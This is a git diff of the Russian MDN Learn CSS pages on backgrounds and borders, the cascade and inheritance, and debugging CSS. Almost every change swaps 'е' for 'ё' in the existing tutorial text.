        Если кроме фонового изображения вы добавили фоновый цвет, то изображение будет отображаться над цветом. Попробуйте добавить свойство background-color в приведенный выше пример, чтобы увидеть это в действии.

        +

        Если кроме фонового изображения вы добавили фоновый цвет, то изображение будет отображаться над цветом. Попробуйте добавить свойство background-color в приведённый выше пример, чтобы увидеть это в действии.

        Свойство  background-repeat

        @@ -81,7 +81,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders

        Изменение размеров фонового изображения

        -

        В приведенном выше примере у нас есть большое изображение, которое в конечном итоге было обрезано, так как оно больше, чем элемент, фоном которого оно является. В этом случае мы могли бы использовать свойство {{cssxref ("background-size")}}, которое может принимать значения длины или в процентах, чтобы размер изображения соответствовал размеру фона.

        +

        В приведённом выше примере у нас есть большое изображение, которое в конечном итоге было обрезано, так как оно больше, чем элемент, фоном которого оно является. В этом случае мы могли бы использовать свойство {{cssxref ("background-size")}}, которое может принимать значения длины или в процентах, чтобы размер изображения соответствовал размеру фона.

        Вы также можете использовать ключевые слова:

        @@ -92,7 +92,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders

        Ниже я применил значения длины к размерам изображения. Глядите, как это исказило изображение.

        -

        В приведенном ниже примере я использовал большое изображение из ранее рассмотренного примера и указал значения длины, чтобы определить его размер внутри блока. Вы можете посмотреть, как это исказило изображение.

        +

        В приведённом ниже примере я использовал большое изображение из ранее рассмотренного примера и указал значения длины, чтобы определить его размер внутри блока. Вы можете посмотреть, как это исказило изображение.

        Попробуйте следующее.

        @@ -140,7 +140,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders background-position: top 20px; } -

        И наконец, вы также можете использовать синтаксис с четырьмя значениями, чтобы указать расстояние от определенных краёв блока - единица длины в данном случае представляет собой смещение от значения ключевого слова. Итак, в CSS ниже мы сместили фон на 20 пикселей сверху и на 10 пикселей справа:

        +

        И наконец, вы также можете использовать синтаксис с четырьмя значениями, чтобы указать расстояние от определённых краёв блока - единица длины в данном случае представляет собой смещение от значения ключевого слова. Итак, в CSS ниже мы сместили фон на 20 пикселей сверху и на 10 пикселей справа:

        .box {
   background-image: url(star.png);
@@ -148,7 +148,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders
   background-position: top 20px right 10px;
 }
        -

        Используйте приведенный ниже пример, чтобы поэкспериментировать с этими значениями и переместить звезду внутри блока.

        +

        Используйте приведённый ниже пример, чтобы поэкспериментировать с этими значениями и переместить звезду внутри блока.

        {{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 480)}}

        @@ -176,15 +176,15 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders

        Примечание: Градиенты можно легко смешивать с обычными фоновыми изображениями.

        -

        Другие свойства background- * также могут иметь значения, разделенные запятыми,  как и background-image:

        +

        Другие свойства background- * также могут иметь значения, разделённые запятыми,  как и background-image:

        background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png);
 background-repeat: no-repeat, repeat-x, repeat;
 background-position: 10px 20px,  top right;
        -

        Каждое значение различных свойств будет соответствовать значениям в той же позиции в других свойствах. Выше, например, значение background-repeat для image1 будет no-repeat. Однако, что происходит, когда разные свойства имеют разное количество значений? Ответ заключается в том, что меньшее количество значений будет циклически повторяться - в приведенном выше примере есть четыре фоновых изображения, и только два значения background-position. Первые два значения позиции будут применены к первым двум изображениям, затем они снова будут циклически повторяться - image3 будет присвоено первое значение позиции, а image4 будет присвоено второе значение позиции.

        +

        Каждое значение различных свойств будет соответствовать значениям в той же позиции в других свойствах. Выше, например, значение background-repeat для image1 будет no-repeat. Однако, что происходит, когда разные свойства имеют разное количество значений? Ответ заключается в том, что меньшее количество значений будет циклически повторяться - в приведённом выше примере есть четыре фоновых изображения, и только два значения background-position. Первые два значения позиции будут применены к первым двум изображениям, затем они снова будут циклически повторяться - image3 будет присвоено первое значение позиции, а image4 будет присвоено второе значение позиции.

        -

        Поиграем? В приведенном ниже примере я добавил два изображения. Чтобы продемонстрировать порядок наложения, попробуйте поменять порядок фоновых изображений в списке. Или поиграйте с другими свойствами, чтобы изменить положение, размер или повторяемость значений.

        +

        Поиграем? В приведённом ниже примере я добавил два изображения. Чтобы продемонстрировать порядок наложения, попробуйте поменять порядок фоновых изображений в списке. Или поиграйте с другими свойствами, чтобы изменить положение, размер или повторяемость значений.

        {{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 480)}}

        @@ -200,17 +200,17 @@ background-position: 10px 20px, top right;

        Свойство {{cssxref ("background-attachment")}} действует только тогда, когда есть контент для прокрутки, поэтому мы сделали пример, чтобы продемонстрировать различия между тремя значениями - взгляните на background-attachment.html (также смотри исходный код здесь).

        -

        Использование сокращенного свойства background

        +

        Использование сокращённого свойства background

        Как я упоминал в начале этого урока, вы часто будете видеть фон, заданный с помощью свойства {{cssxref ("background")}}. Это сокращение позволяет вам одновременно устанавливать все различные свойства.

        -

        При использовании нескольких фонов необходимо указать все свойства для первого фона, а затем добавить следующий фон после запятой. В приведенном ниже примере у нас есть градиент с размером и положением, затем фоновое изображение со значением no-repeat и положением, затем цвет.

        +

        При использовании нескольких фонов необходимо указать все свойства для первого фона, а затем добавить следующий фон после запятой. В приведённом ниже примере у нас есть градиент с размером и положением, затем фоновое изображение со значением no-repeat и положением, затем цвет.

        -

        При записи сокращенных значений фонового изображения необходимо соблюдать несколько правил, например:

        +

        При записи сокращённых значений фонового изображения необходимо соблюдать несколько правил, например:

        • background-color можно указывать только после последней запятой.
          • -
        • Значения background-size могут быть включены только сразу после background-position, разделенные символом '/', например: center/80%. 
          • +
        • Значения background-size могут быть включены только сразу после background-position, разделённые символом '/', например: center/80%. 

        Посетите страницу MDN свойства {{cssref ("background")}}, чтобы увидеть полное описание.

        @@ -219,15 +219,15 @@ background-position: 10px 20px, top right;

        Доступность просмотра

        -

        Помещая текст поверх фонового изображения или цвета, вы должны позаботиться о том, чтобы у вас было достаточно контраста, чтобы текст был читаемым для посетителей вашего сайта. Если указывается изображение, и текст будет помещен поверх этого изображения, вы также должны указать background-color, который позволит тексту быть разборчивым, если изображение не загружается.

        +

        Помещая текст поверх фонового изображения или цвета, вы должны позаботиться о том, чтобы у вас было достаточно контраста, чтобы текст был читаемым для посетителей вашего сайта. Если указывается изображение, и текст будет помещён поверх этого изображения, вы также должны указать background-color, который позволит тексту быть разборчивым, если изображение не загружается.

        Программы чтения с экрана не могут анализировать фоновые изображения, поэтому они должны быть чисто декоративными; любой важный контент должен быть частью HTML-страницы, а не находиться в фоне.

        Границы

        -

        Изучая Блочную модель, мы обнаружили, как границы влияют на размер нашего блока. В этом уроке мы рассмотрим, как творчески использовать границы. Обычно, когда мы добавляем границы к элементу с помощью CSS, мы используем сокращенное свойство, которое устанавливает цвет, ширину и стиль границы в одной строке CSS.

        +

        Изучая Блочную модель, мы обнаружили, как границы влияют на размер нашего блока. В этом уроке мы рассмотрим, как творчески использовать границы. Обычно, когда мы добавляем границы к элементу с помощью CSS, мы используем сокращённое свойство, которое устанавливает цвет, ширину и стиль границы в одной строке CSS.

        -

        Мы можем установить границу для всех четырех сторон блока с помощью {{cssxref ("border")}}:

        +

        Мы можем установить границу для всех четырёх сторон блока с помощью {{cssxref ("border")}}:

        .box {
   border: 1px solid black;
@@ -259,7 +259,7 @@ background-position: 10px 20px,  top right;

        Примечание: Свойства границ top, right, bottom, и left также имеют сопоставленные логические свойства, которые относятся к режиму написания документа (например, текст слева направо, справа налево или сверху вниз). Мы рассмотрим их в следующем уроке, который касается работы с разными направлениями текста.

        -

        Есть множество стилей, которые вы можете использовать для границ. В приведенном ниже примере мы использовали разные стили границ для четырех сторон моего блока. Поиграйте со стилем, шириной и цветом границы, чтобы увидеть, как они работают.

        +

        Есть множество стилей, которые вы можете использовать для границ. В приведённом ниже примере мы использовали разные стили границ для четырёх сторон моего блока. Поиграйте со стилем, шириной и цветом границы, чтобы увидеть, как они работают.

        {{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 640)}}

        @@ -285,12 +285,12 @@ background-position: 10px 20px, top right;

        Упражнение с границами и фоном

        -

        Чтобы проверить свои новые знания, попробуйте создать следующее, используя фон и границы, используя приведенный ниже пример в качестве отправной точки:

        +

        Чтобы проверить свои новые знания, попробуйте создать следующее, используя фон и границы, используя приведённый ниже пример в качестве отправной точки:

          -
        1. Задайте рамку равную 5px black solid,  с закругленными углами 10px.
          2. +
        2. Задайте рамку равную 5px black solid,  с закруглёнными углами 10px.
        3. Добавить фоновое изображение (используйте URL balloons.jpg) и установите размер таким образом, чтобы он покрыл весь блок.
          4. -
        4. Задайте для <h2> полупрозрачный черный цвет фона и сделайте текст белым.
          5. +
        5. Задайте для <h2> полупрозрачный чёрный цвет фона и сделайте текст белым.

        {{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/task.html", '100%', 555)}} 

        diff --git a/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html index b1adc206f7..dd8cf674a5 100644 --- a/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html +++ b/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -35,7 +35,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance

        CSS (Cascading Style Sheets) означает Каскадные Таблицы Стилей и первое слово "каскадные" является невероятно важным для понимания: то, как ведёт себя каскад — ключевой момент в понимании CSS.

        -

        В какой-то момент, работая над проектом, вы обнаружите, что CSS, который, по-вашему, должен быть применен к элементу, не работает. Обычно проблема заключается в том, что вы создали два правила, которые могут потенциально применяться к одному и тому же элементу. Каскад и тесно связанная концепция специфичности — это механизмы, которые контролируют, какое именно правило применяется, когда имеется такой конфликт. Стиль вашего элемента может определять не то правило, на которое вы рассчитывали, поэтому вам необходимо понимать, как работают эти механизмы.

        +

        В какой-то момент, работая над проектом, вы обнаружите, что CSS, который, по-вашему, должен быть применён к элементу, не работает. Обычно проблема заключается в том, что вы создали два правила, которые могут потенциально применяться к одному и тому же элементу. Каскад и тесно связанная концепция специфичности — это механизмы, которые контролируют, какое именно правило применяется, когда имеется такой конфликт. Стиль вашего элемента может определять не то правило, на которое вы рассчитывали, поэтому вам необходимо понимать, как работают эти механизмы.

        Также значимой является концепция наследования, которая заключается в том, что некоторые свойства CSS наследуют по умолчанию значения, установленные для родительского элемента текущего элемента, а некоторые не наследуют. Это также может стать причиной поведения, которое вы, возможно, не ожидаете.

        @@ -45,7 +45,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance

        Каскад таблицы стилей, если говорить упрощённо, означает, что порядок следования правил в CSS имеет значение; когда применимы два правила, имеющие одинаковую специфичность, используется то, которое идёт в CSS последним.

        -

        В приведенном ниже примере у нас есть два правила, которые могут применяться к h1. В результате h1 окрасится синим цветом — эти правила имеют идентичный селектор и, следовательно, одинаковую специфичность, поэтому побеждает последний в порядке следования.

        +

        В приведённом ниже примере у нас есть два правила, которые могут применяться к h1. В результате h1 окрасится синим цветом — эти правила имеют идентичный селектор и, следовательно, одинаковую специфичность, поэтому побеждает последний в порядке следования.

        {{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} 

        @@ -127,7 +127,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
        1. Второй элемент списка имеет класс my-class-1. Таким образом, цвет для следующего вложенного элемента a устанавливается по наследству. Как изменится цвет, если это правило будет удалено?
          2. -
        2. Понятно ли, почему третий и четвертый элементы a имеют именно такой цвет? Если нет, перечитайте описание значений, представленное выше.
          3. +
        3. Понятно ли, почему третий и четвёртый элементы a имеют именно такой цвет? Если нет, перечитайте описание значений, представленное выше.
        4. Какая из ссылок изменит цвет, если вы зададите новый цвет для элемента <a> — например: a { color: red; }?
        @@ -135,7 +135,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance

        Возврат всех исходных значений свойств

        -

        Стенографическое свойство CSS all можно использовать для того, чтобы присвоить одно из значений наследования к (почти) всем свойствам одновременно. Это одно из четырех значений (inherit, initial, unset, или revert). Это удобный способ для отмены изменений, внесённых в стили, для того, чтобы вы могли вернуться к стартовой точке перед внесением новых изменений.

        +

        Стенографическое свойство CSS all можно использовать для того, чтобы присвоить одно из значений наследования к (почти) всем свойствам одновременно. Это одно из четырёх значений (inherit, initial, unset, или revert). Это удобный способ для отмены изменений, внесённых в стили, для того, чтобы вы могли вернуться к стартовой точке перед внесением новых изменений.

        В примере ниже имеются два блока <blockquote>. Первый имеет стиль, который применён к самому элементу blockquote, второй имеет класс fix-this, который устанавливает значение all в unset.

        @@ -159,23 +159,23 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance

        Порядок следования

        -

        Мы уже видели, какое значение для каскада имеет порядок следования. Если у вас несколько правил, которые имеют одинаковую важность, то побеждает правило, которое идет последним в CSS. Другими словами, правила, более близкие к самому элементу, переписывают более ранние, пока последнее не победит, оно и стилизует элемент. 

        +

        Мы уже видели, какое значение для каскада имеет порядок следования. Если у вас несколько правил, которые имеют одинаковую важность, то побеждает правило, которое идёт последним в CSS. Другими словами, правила, более близкие к самому элементу, переписывают более ранние, пока последнее не победит, оно и стилизует элемент. 

        Специфичность

        Понимая, что порядок следования правил имеет значение, в какой-то момент вы окажетесь в ситуации, когда вы знаете, что правило появляется позже в таблице стилей, но применяется более раннее, конфликтующее правило. Это связано с тем, что более раннее правило имеет более высокую специфичность — оно более специфично и поэтому выбирается браузером как правило, которое должно стилизовать элемент.

        -

        Как мы видели ранее в этом уроке, селектор класса имеет больший вес, чем селектор элемента, поэтому свойства, определенные в классе, будут переопределять свойства, примененные непосредственно к элементу.

        +

        Как мы видели ранее в этом уроке, селектор класса имеет больший вес, чем селектор элемента, поэтому свойства, определённые в классе, будут переопределять свойства, применённые непосредственно к элементу.

        Здесь следует отметить, что, хотя мы думаем о селекторах и правилах, применяемых к объекту, который они выбирают, переписывается не всё правило, а только свойства, которые являются одинаковыми.

        -

        Такое поведение помогает избежать повторения в вашем CSS. Обычной практикой является определение общих стилей для базовых элементов, а затем создание классов для тех, которые отличаются. Например, в таблице стилей ниже мы определяем общие стили для заголовков второго уровня, а затем создаём несколько классов, которые изменяют только некоторые свойства и значения. Определенные вначале значения применяются ко всем заголовкам, затем к заголовкам с классами применяются более конкретные значения.

        +

        Такое поведение помогает избежать повторения в вашем CSS. Обычной практикой является определение общих стилей для базовых элементов, а затем создание классов для тех, которые отличаются. Например, в таблице стилей ниже мы определяем общие стили для заголовков второго уровня, а затем создаём несколько классов, которые изменяют только некоторые свойства и значения. Определённые вначале значения применяются ко всем заголовкам, затем к заголовкам с классами применяются более конкретные значения.

        {{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} 

        -

        Давайте теперь посмотрим, как браузер будет вычислять специфичность. Мы уже знаем, что селектор элемента имеет низкую специфичность и может быть перезаписан классом. По существу, значение в баллах присуждается различным типам селекторов, и их сложение дает вам вес этого конкретного селектора, который затем может быть оценён в сравнении с другими потенциальными соперниками.

        +

        Давайте теперь посмотрим, как браузер будет вычислять специфичность. Мы уже знаем, что селектор элемента имеет низкую специфичность и может быть перезаписан классом. По существу, значение в баллах присуждается различным типам селекторов, и их сложение даёт вам вес этого конкретного селектора, который затем может быть оценён в сравнении с другими потенциальными соперниками.

        -

        Степень специфичности, которой обладает селектор, измеряется с использованием четырех различных значений (или компонентов), которые можно представить как тысячи, сотни, десятки и единицы — четыре однозначные цифры в четырех столбцах:

        +

        Степень специфичности, которой обладает селектор, измеряется с использованием четырёх различных значений (или компонентов), которые можно представить как тысячи, сотни, десятки и единицы — четыре однозначные цифры в четырёх столбцах:

        1. Тысячи: поставьте единицу в эту колонку, если объявление стиля находится внутри атрибута {{htmlattrxref("style")}} (встроенные стили). Такие объявления не имеют селекторов, поэтому их специфичность всегда просто 1000.
          2. @@ -253,7 +253,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
          • Первые два правила конкурируют за стилизацию цвета фона ссылки — второе выигрывает и делает фоновый цвет синим, потому что у него есть дополнительный селектор ID в цепочке: его специфичность 201 против 101.
            • -
          • Третье и четвертое правило конкурируют за стилизацию цвета текста ссылки — второе выигрывает и делает текст белым, потому что, хотя у него на один селектор элемента меньше, отсутствующий селектор заменяется на селектор класса, который оценивается в десять вместо единицы. Таким образом, приоритетная специфичность составляет 113 против 104.
            • +
          • Третье и четвёртое правило конкурируют за стилизацию цвета текста ссылки — второе выигрывает и делает текст белым, потому что, хотя у него на один селектор элемента меньше, отсутствующий селектор заменяется на селектор класса, который оценивается в десять вместо единицы. Таким образом, приоритетная специфичность составляет 113 против 104.
          • Правила 5–7 соревнуются за определение стиля границы ссылки при наведении курсора. Шестой селектор со специфичностью 23 явно проигрывает пятому со специфичностью 24 — у него в цепочке на один селектор элемента меньше. Седьмой селектор, однако, превосходит как пятый, так и шестой — он имеет то же количество подселекторов в цепочке, что и пятый, но один элемент заменён селектором класса. Таким образом, приоритетная специфичность 33 против 23 и 24.
          @@ -271,12 +271,12 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance

          {{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} 

          -

          Давайте пройдемся по этому примеру, чтобы увидеть, что происходит — попробуйте удалить некоторые свойства, чтобы увидеть, что получится, если вам трудно понять:

          +

          Давайте пройдёмся по этому примеру, чтобы увидеть, что происходит — попробуйте удалить некоторые свойства, чтобы увидеть, что получится, если вам трудно понять:

          1. Вы увидите, что применены значения {{cssxref("color")}} и {{cssxref("padding")}} третьего правила, но {{cssxref("background-color")}} — нет. Почему? Действительно, все три безусловно должны применяться, потому что правила, более поздние в порядке следования, обычно переопределяют более ранние правила.
            2. -
          2. Однако вышеприведенные правила выигрывают, потому что селекторы классов имеют более высокую специфичность, чем селекторы элементов.
            3. -
          3. Оба элемента имеют {{htmlattrxref("class")}} с названием better, но у второго также есть {{htmlattrxref("id")}} с названием winning. Поскольку ID имеют ещё более высокую специфичность, чем классы (у вас может быть только один элемент с каждым уникальным ID на странице, но много элементов с одним и тем же классом — селекторы ID очень специфичны, на что они и нацелены), красный цвет фона и однопиксельная черная граница должны быть применены ко 2-му элементу, причём первый элемент получает серый фоновый цвет и отсутствие границы, как определено классом.
            4. +
          4. Однако вышеприведённые правила выигрывают, потому что селекторы классов имеют более высокую специфичность, чем селекторы элементов.
            5. +
          5. Оба элемента имеют {{htmlattrxref("class")}} с названием better, но у второго также есть {{htmlattrxref("id")}} с названием winning. Поскольку ID имеют ещё более высокую специфичность, чем классы (у вас может быть только один элемент с каждым уникальным ID на странице, но много элементов с одним и тем же классом — селекторы ID очень специфичны, на что они и нацелены), красный цвет фона и однопиксельная чёрная граница должны быть применены ко 2-му элементу, причём первый элемент получает серый фоновый цвет и отсутствие границы, как определено классом.
          6. 2-й элемент получил красный цвет фона и отсутствие границы. Почему? Из-за объявления !important во втором правиле — размещение которого после border: none означает, что это объявление перевесит значение границы в предыдущем правиле, даже если ID имеет более высокую специфичность.
          @@ -316,7 +316,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance

          Если вы не до конца поняли каскад, специфичность и наследование, не волнуйтесь! Это, безусловно, самая сложная вещь из тех, что мы до сих пор  изучали в курсе, и даже профессиональные веб-разработчики иногда считают её коварной. Мы советуем вам вернуться к этой статье несколько раз в ходе изучения курса и продолжать обдумывать эту тему.

          -

          Обратитесь сюда, если вы столкнетесь со странными проблемами, когда стили применяются не так, как вы ожидаете. Это может быть проблемой специфичности.

          +

          Обратитесь сюда, если вы столкнётесь со странными проблемами, когда стили применяются не так, как вы ожидаете. Это может быть проблемой специфичности.

          {{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}

          diff --git a/files/ru/learn/css/building_blocks/debugging_css/index.html b/files/ru/learn/css/building_blocks/debugging_css/index.html index ceb299bcab..6ba3afd75a 100644 --- a/files/ru/learn/css/building_blocks/debugging_css/index.html +++ b/files/ru/learn/css/building_blocks/debugging_css/index.html @@ -5,7 +5,7 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS ---
          {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}
          -

          Порой, при написании CSS, вы будете сталкиваться с проблемой, при которой будет казаться, что CSS не делает того, чего вы оживаете от него. Возможно, вы считаете, что определенный селектор должен соответствовать элементу, но ничего не происходит, или поле имеет размер, отличный от ожидаемого. Эта статья поможет вам с тем, как отладить CSS проблемы и покажет вам как DevTools (инструменты разработчика), включенные во все современные браузеры, могут помочь разобраться с тем, что происходит.

          +

          Порой, при написании CSS, вы будете сталкиваться с проблемой, при которой будет казаться, что CSS не делает того, чего вы оживаете от него. Возможно, вы считаете, что определённый селектор должен соответствовать элементу, но ничего не происходит, или поле имеет размер, отличный от ожидаемого. Эта статья поможет вам с тем, как отладить CSS проблемы и покажет вам как DevTools (инструменты разработчика), включённые во все современные браузеры, могут помочь разобраться с тем, что происходит.

        @@ -24,9 +24,9 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS

        Как получить доступ к DevTools браузера

        -

        Статья What are browser developer tools это обновленное руководство объясняющее как получить доступ к инструментам разных браузеров и платформ. Хотя вы можете выбрать в основном разрабатывать в конкретном браузере и поэтому инструменты, включенные в этот браузер, будут вам знакомы больше всего, стоит знать, как получать доступ к инструментам и в других браузерах. Это поможет вам если вы наблюдаете разное отображение среди разных браузеров.

        +

        Статья What are browser developer tools это обновлённое руководство объясняющее как получить доступ к инструментам разных браузеров и платформ. Хотя вы можете выбрать в основном разрабатывать в конкретном браузере и поэтому инструменты, включённые в этот браузер, будут вам знакомы больше всего, стоит знать, как получать доступ к инструментам и в других браузерах. Это поможет вам если вы наблюдаете разное отображение среди разных браузеров.

        -

        Вы также обнаружите, что браузеры фокусировались на различных областях при создании своих DevTools. Например в Firefox существует несколько замечательных инструментов для визуальной работы с CSS Layout (разметкой), позволяющих вам проводить инспекцию и править Grid Layouts, Flexbox, и Shapes. Тем не менее, все другие браузеры имеют схожие фундаментальные инструменты, например для инспекции свойств и значений примененных к элементам на вашей странице и для выполнения изменений к ним в редакторе.

        +

        Вы также обнаружите, что браузеры фокусировались на различных областях при создании своих DevTools. Например в Firefox существует несколько замечательных инструментов для визуальной работы с CSS Layout (разметкой), позволяющих вам проводить инспекцию и править Grid Layouts, Flexbox, и Shapes. Тем не менее, все другие браузеры имеют схожие фундаментальные инструменты, например для инспекции свойств и значений применённых к элементам на вашей странице и для выполнения изменений к ним в редакторе.

        В этом уроке мы рассмотрим некоторые полезные функции Firefox DevTools для работы с CSS. Для того чтобы сделать это я буду использовать файл примера. Загрузите его в новой вкладке если хотите следовать и откройте ваш DevTools как описано в статье, ссылка на которую дана выше.

        @@ -34,55 +34,55 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS

        То, что может сбить с толку новичков в DevTools, — это разница между тем, что вы видите когда просматриваете источник веб-страницы или смотрите на HTML файл который поместили на сервер и то что вы видите на HTML панели DevTools. Хотя это выглядит примерно так же, как то, что вы видите через View Source, существуют некоторые отличия.

        -

        В визуализированном DOM браузер мог скорректировать некоторый плохо-написанный HTML за вас. Если вы неправильно закрыли элемент, например открывали <h2>, но закрыли </h3>, браузер поймет, что вы хотели сделать и HTML в DOM будет правильно закрывать <h2> с </h2>. Браузер также нормализует весь HTML,а DOM также покажет любые изменения сделанные через JavaScript.

        +

        В визуализированном DOM браузер мог скорректировать некоторый плохо-написанный HTML за вас. Если вы неправильно закрыли элемент, например открывали <h2>, но закрыли </h3>, браузер поймёт, что вы хотели сделать и HTML в DOM будет правильно закрывать <h2> с </h2>. Браузер также нормализует весь HTML,а DOM также покажет любые изменения сделанные через JavaScript.

        -

        View Source же для сравнения — это просто исходный код HTML, хранящийся на сервере. HTML дерево в вашем DevTools показывает, что именно браузер отображает в любой момент времени, что дает вам представление от том, что действительно происходит.

        +

        View Source же для сравнения — это просто исходный код HTML, хранящийся на сервере. HTML дерево в вашем DevTools показывает, что именно браузер отображает в любой момент времени, что даёт вам представление от том, что действительно происходит.

        -

        Инспекция примененного CSS

        +

        Инспекция применённого CSS

        Выбирать элемент на вашей странице можно либо правым/ctrl-кликом по нему и выбрав Inspect, либо выбрав его из дерева HTML в левой панели DevTools. Попробуйте выбрать элемент с классом box1; это первый элемент на странице с блоком, ограниченным рамками вокруг него.

        The example page for this tutorial with DevTools open.

        -

        Если вы посмотрите на Rules view справа от вашего HTML, вы должны увидеть свойства и значения CSS примененные к элементу. Вы увидите правила, напрямую примененные к классу box1 и также CSS который наследуется блоком от предков, в этом случае от <body>. Это полезно в случае, если вы видите, что применяется какой-либо CSS, который вы не ожидали. Вполне возможно, что он наследуется от родительского элемента и вам необходимо добавить правило, чтобы переписать его в контексте этого элемента.

        +

        Если вы посмотрите на Rules view справа от вашего HTML, вы должны увидеть свойства и значения CSS применённые к элементу. Вы увидите правила, напрямую применённые к классу box1 и также CSS который наследуется блоком от предков, в этом случае от <body>. Это полезно в случае, если вы видите, что применяется какой-либо CSS, который вы не ожидали. Вполне возможно, что он наследуется от родительского элемента и вам необходимо добавить правило, чтобы переписать его в контексте этого элемента.

        -

        Также полезна возможность расширения (развертывания) свойств коротких записей. В нашем примере используется короткая запись margin.

        +

        Также полезна возможность расширения (развёртывания) свойств коротких записей. В нашем примере используется короткая запись margin.

        Кликните по маленькой стрелке для того, чтобы развернуть вид, показывающий полную запись различных свойств и значений.

        -

        Вы можете переключать значения в Rules view в положение включено или выключено если эта панель активна — если навести на нее курсор мыши, появятся флажки. Снимите флажок правила, например, border-radius, и CSS перестанет применяться.

        +

        Вы можете переключать значения в Rules view в положение включено или выключено если эта панель активна — если навести на неё курсор мыши, появятся флажки. Снимите флажок правила, например, border-radius, и CSS перестанет применяться.

        -

        Вы можете использовать это чтобы делать сравнения по типу A/B, принимая решение если что-то выглядит лучше с примененным правилом или нет, а также это помогает в отладке — например если layout не в порядке и вы пытаетесь разобраться какое свойство является причиной проблемы.

        +

        Вы можете использовать это чтобы делать сравнения по типу A/B, принимая решение если что-то выглядит лучше с применённым правилом или нет, а также это помогает в отладке — например если layout не в порядке и вы пытаетесь разобраться какое свойство является причиной проблемы.

        Редактирование значений

        В дополнение к включению и выключению свойств, вы можете редактировать их значения. Возможно, вам захочется посмотреть будет ли другой цвет выглядеть лучше или захотите настроить размер чего-либо. DevTools поможет вам сэкономить кучу времени редактируя таблицу стиля и перезагружая страницу.

        -

        Выбрав box1, кликните на образчик (маленький цветной круг) который показывает цвет, примененный к границе. Откроется панель выбора цвета и сможете попробовать некоторые другие цвета; это действие обновится на странице в режиме реального времени. Аналогичным образом вы можете изменить ширину или стиль границ.

        +

        Выбрав box1, кликните на образчик (маленький цветной круг) который показывает цвет, применённый к границе. Откроется панель выбора цвета и сможете попробовать некоторые другие цвета; это действие обновится на странице в режиме реального времени. Аналогичным образом вы можете изменить ширину или стиль границ.

        DevTools Styles Panel with a color picker open.

        Добавление нового свойства

        -

        Используя DevTools вы можете добавлять новые свойства. Возможно, вы осознали, что не хотите, чтобы ваш блок наследовал размер шрифта элементов <body>, а хотите установить его собственный конкретный размер. Вы можете попробовать это в DevTools до того, как внесете изменения в ваше CSS файл.

        +

        Используя DevTools вы можете добавлять новые свойства. Возможно, вы осознали, что не хотите, чтобы ваш блок наследовал размер шрифта элементов <body>, а хотите установить его собственный конкретный размер. Вы можете попробовать это в DevTools до того, как внесёте изменения в ваше CSS файл.

        Вы можете кликнуть по закрывающей фигурной скобке в правиле чтобы начать вводить новое объявление в нем, с этого момента вы можете начинать вводить новое свойство и DevTools покажет список автозаполнения подходящих свойств. Выбрав font-size, вводите значение, которое хотите попробовать. Вы также можете кликнуть на кнопку + чтобы добавить дополнительное правило с тем же селектором и добавить ваши новые правила туда.

        The DevTools Panel, adding a new property to the rules, with the autocomplete for font- open

        -

        Примечание: Также существуют другие полезные функции в Rules view, например объявления с не валидными значениями зачеркнуты. Вы можете узнать больше в Examine and edit CSS.

        +

        Примечание: Также существуют другие полезные функции в Rules view, например объявления с не валидными значениями зачёркнуты. Вы можете узнать больше в Examine and edit CSS.

        Понимание модели блоков

        -

        В предыдущем уроке мы обсудили модель блоков и тот факт, что у нас есть альтернативная модель блоков, которая изменяет способ расчета размера элементов основываясь на размере который вы им задаете, плюс padding и границы. DevTools может действительно помочь вам понять, как вычисляется размер элемента.

        +

        В предыдущем уроке мы обсудили модель блоков и тот факт, что у нас есть альтернативная модель блоков, которая изменяет способ расчёта размера элементов основываясь на размере который вы им задаёте, плюс padding и границы. DevTools может действительно помочь вам понять, как вычисляется размер элемента.

        Layout view показывает вам диаграмму блочной модели выбранного элемента, вместе с описанием свойств и значений, которые изменяют способ расположения элемента. Это включает описание свойств, которые вы могли и не использовать напрямую к элементу, но которые имеют набор начальных значений.

        В этой панели одним из детальных свойств является свойство box-sizing, которое контролирует какую блочную модель использует элемент.

        -

        Сравните два блока с классами box1 и box2. Они оба имеют одинаковую ширину (400px) примененную к ним, однако box1 визуально шире. В layout panel вы можете увидеть, что он использует content-box. Это значение, которое принимает размер, который вы даете элементу и затем добавляет padding и ширину границ.

        +

        Сравните два блока с классами box1 и box2. Они оба имеют одинаковую ширину (400px) применённую к ним, однако box1 визуально шире. В layout panel вы можете увидеть, что он использует content-box. Это значение, которое принимает размер, который вы даёте элементу и затем добавляет padding и ширину границ.

        Элемент с классом box2 использует border-box, поэтому здесь padding и граница вычтены из размера, который вы дали элементу. Это означает, что пространство, занимаемое на странице блоком, соответствует указанному вами размеру — в нашем случае width: 400px.

